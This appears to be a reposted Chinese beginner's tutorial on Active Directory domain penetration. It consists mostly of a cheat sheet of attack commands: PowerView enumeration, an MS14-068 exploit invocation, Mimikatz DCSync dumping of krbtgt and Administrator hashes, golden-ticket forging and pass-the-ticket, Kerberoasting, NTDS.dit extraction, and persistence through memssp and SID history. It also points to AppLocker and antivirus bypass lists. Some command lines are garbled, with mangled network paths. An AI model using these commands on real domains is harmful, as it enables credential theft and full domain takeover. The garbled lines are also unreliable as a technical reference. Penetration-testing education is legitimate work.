渗透测试入门9之域渗透

渗透测试入门9之域渗透

信息搜集

powerview.ps1

Get-NetDomain - gets the name of the current user's domain

Get-NetForest - gets the forest associated with the current user's domain

Get-NetForestDomains - gets all domains for the current forest

Get-NetDomainControllers - gets the domain controllers for the current computer's domain

Get-NetCurrentUser - gets the current [domain\]username

Get-NetUser - returns all user objects, or the user specified (wildcard specifiable)

Get-NetUserSPNs - gets all user ServicePrincipalNames

Get-NetOUs - gets data for domain organization units

Get-NetGUIDOUs - finds domain OUs linked to a specific GUID

Invoke-NetUserAdd - adds a local or domain user

Get-NetGroups - gets a list of all current groups in the domain

Get-NetGroup - gets data for each user in a specified domain group

Get-NetLocalGroups - gets a list of localgroups on a remote host or hosts

Get-NetLocalGroup - gets the members of a localgroup on a remote host or hosts

Get-NetLocalServices - gets a list of running services/paths on a remote host or hosts

Invoke-NetGroupUserAdd - adds a user to a specified local or domain group

Get-NetComputers - gets a list of all current servers in the domain

Get-NetFileServers - get a list of file servers used by current domain users

Get-NetShare - gets share information for a specified server

Get-NetLoggedon - gets users actively logged onto a specified server

Get-NetSessions - gets active sessions on a specified server

Get-NetFileSessions - returned combined Get-NetSessions and Get-NetFiles

Get-NetConnections - gets active connections to a specific server resource (share)

Get-NetFiles - gets open files on a server

Get-NetProcesses - gets the remote processes and owners on a remote server

BloodHound ​

获取域控的方法

SYSVOL

SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。 Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。 相关阅读:

MS14-068 Kerberos

python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机

利用mimikatz将工具得到的[email protected]写入内存,创建缓存证书:

mimikatz.exe "kerberos::ptc c:[email protected]" exit

net use k: \pentest.comc$

相关阅读 :

SPN扫描

Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包。 SPN是服务在使用Kerberos身份验证的网络上的唯一标识符。它由服务类,主机名和端口组成。在使用Kerberos身份验证的网络中,必须在内置计算机帐户(如NetworkService或LocalSystem)或用户帐户下为服务器注册SPN。对于内部帐户,SPN将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户的手动注册SPN。 SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,SPN查询是Kerberos的票据行为一部分,因此比较难检测SPN扫描。 相关阅读 :

Kerberos的黄金门票

在域上抓取的哈希

lsadump::dcsync /domain:pentest.com /user:krbtgt

kerberos::purge

kerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribi

kerberos::ptt administrator.kiribi

kerberos::tgt

net use k: \pnet use k: \pentest.comc$

相关阅读 :

Kerberos的银票务

黄金票据和白银票据的一些区别: Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限 银票:伪造TGS,只能访问指定的服务 加密方式不同: Golden Ticket由krbtgt的hash加密 Silver Ticket由服务账号(通常为计算机账户)Hash加密 认证流程不同: 金票在使用的过程需要同域控通信 银票在使用的过程不需要同域控通信 相关阅读 :

域服务账号破解

与上面SPN扫描类似的原理 https://github.com/nidem/kerberoast 获取所有用作SPN的帐户

setspn -T PENTEST.com -Q */*

从Mimikatz的RAM中提取获得的门票

kerberos::list /export

用rgsrepcrack破解

tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

凭证盗窃

从搜集的密码里面找管理员的密码

地址解析协议

实在搞不定再搞ARP ​

获取AD哈希

  • 使用VSS卷影副本
  • Ntdsutil中获取NTDS.DIT​​文件
  • PowerShell中提取NTDS.DIT -->Invoke-NinaCopy
  • 使用Mimikatz提取

mimikatz lsadump::lsa /inject exit

  • 使用PowerShell Mimikatz
  • 使用Mimikatz的DCSync 远程转储Active Directory凭证 提取 KRBTGT用户帐户的密码数据:

Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit

管理员用户帐户提取密码数据:

Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit

  • NTDS.dit中提取哈希 使用esedbexport恢复以后使用ntdsxtract提取

AD持久化

活动目录持久性技巧

https://adsecurity.org/?p=1929 DS恢复模式密码维护 DSRM密码同步

Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。KB961320:https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni,可参考:[巧用DSRM密码同步将域控权限持久化](http://drops.xmd5.com/static/drops/tips-9297.html)

DCshadow

Security Support Provider

简单的理解为SSP就是一个DLL,用来实现身份认证

privilege::debug

misc::memssp

这样就不需要重启c:/windows/system32可看到新生成的文件kiwissp.log

SID History

SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户

mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator"

AdminSDHolder&SDProp

利用AdminSDHolder&SDProp(重新)获取域管理权限

组策略

https://adsecurity.org/?p=2716 策略对象在持久化及横向渗透中的应用

Hook PasswordChangeNotify

http://wooyun.jozxing.cc/static/drops/tips-13079.html

TIPS

《域渗透——Dump Clear-Text Password after KB2871997 installed》 《域渗透——Hook PasswordChangeNotify》

可通过Hook PasswordChangeNotify实时记录域控管理员的新密码

《域渗透——Local Administrator Password Solution》

域渗透时要记得留意域内主机的本地管理员账号

《域渗透——利用SYSVOL还原组策略中保存的密码》

相关工具

BloodHound CrackMapExec DeathStar

利用过程:http://www.freebuf.com/sectool/160884.html

在远程系统上执行程序

  • At
  • Psexec
  • WMIC
  • Wmiexec
  • Smbexec
  • Powershell remoting
  • DCOM

IOT相关

中间人

规避杀软及检测

Bypass Applocker

UltimateAppLockerByPassList https://lolbas-project.github.io/

bypassAV

猜你喜欢

转载自blog.csdn.net/jayjaydream/article/details/89001983